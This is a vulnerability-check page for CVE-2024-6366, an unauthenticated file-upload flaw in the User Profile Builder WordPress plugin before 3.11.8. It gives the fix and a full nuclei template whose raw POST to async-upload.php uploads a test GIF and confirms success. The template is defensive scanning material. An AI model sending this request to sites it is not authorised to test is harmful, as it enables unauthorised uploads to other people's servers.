User Profile Builder < 3.11.8 - File Upload

highseverity

29%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

The User Profile Builder WordPress plugin before 3.11.8 does not have proper authorisation, allowing unauthenticated users to upload media files via the async upload functionality of WP.

Impact

Unauthenticated attackers can upload arbitrary media files through the async upload functionality, potentially uploading malicious files to the server.

Fix

Update User Profile Builder plugin to version 3.11.8 or later to address the unauthorized file upload vulnerability.

How to confirm it

Send: GET /
Positive when: contains(body,"/plugins/profile-builder")
Send: POST /wp-admin/async-upload.php
Positive when: contains "\"success\":true" and "\"id\"" and "\"uploadedTo\"" AND contains in header "Content-Type: text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2024-6366 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-6366

info:
  name: User Profile Builder < 3.11.8 - File Upload
  author: s4e-io
  severity: high
  description: |
    The User Profile Builder WordPress plugin before 3.11.8 does not have proper authorisation, allowing unauthenticated users to upload media files via the async upload functionality of WP.
  impact: |
    Unauthenticated attackers can upload arbitrary media files through the async upload functionality, potentially uploading malicious files to the server.
  remediation: |
    Update User Profile Builder plugin to version 3.11.8 or later to address the unauthorized file upload vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5b90cbdd-52cc-4e7b-bf39-bea0dd59e19e/
    - https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-6366
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6366
  classification:
    cve-id: CVE-2024-6366
    epss-score: 0.28993
    epss-percentile: 0.98175
  metadata:
    vendor: cozmoslabs
    product: user-profile-builder
    framework: wordpress
    publicwww-query: "/wp-content/plugins/profile-builder"
  tags: cve,cve2024,wpscan,file-upload,instrusive,wp-plugin,wordpress,wp,profile-builder,vuln

flow: http(1) && http(2)

variables:
  filename: "{{to_lower(rand_text_alpha(12))}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/plugins/profile-builder")'
        internal: true

  - raw:
      - |
        POST /wp-admin/async-upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="wppb_upload"

        true
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="meta_name"

        {{filename}}.gif
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="_wpnonce"

        e8
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="action"

        upload-attachment
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="async-upload"; filename="{{filename}}.gif"
        Content-Type: image/jpeg

        GIF89a

        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"id"'
          - '"uploadedTo"'
        condition: and

      - type: word
        part: header
        words:
          - "Content-Type: text/plain"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from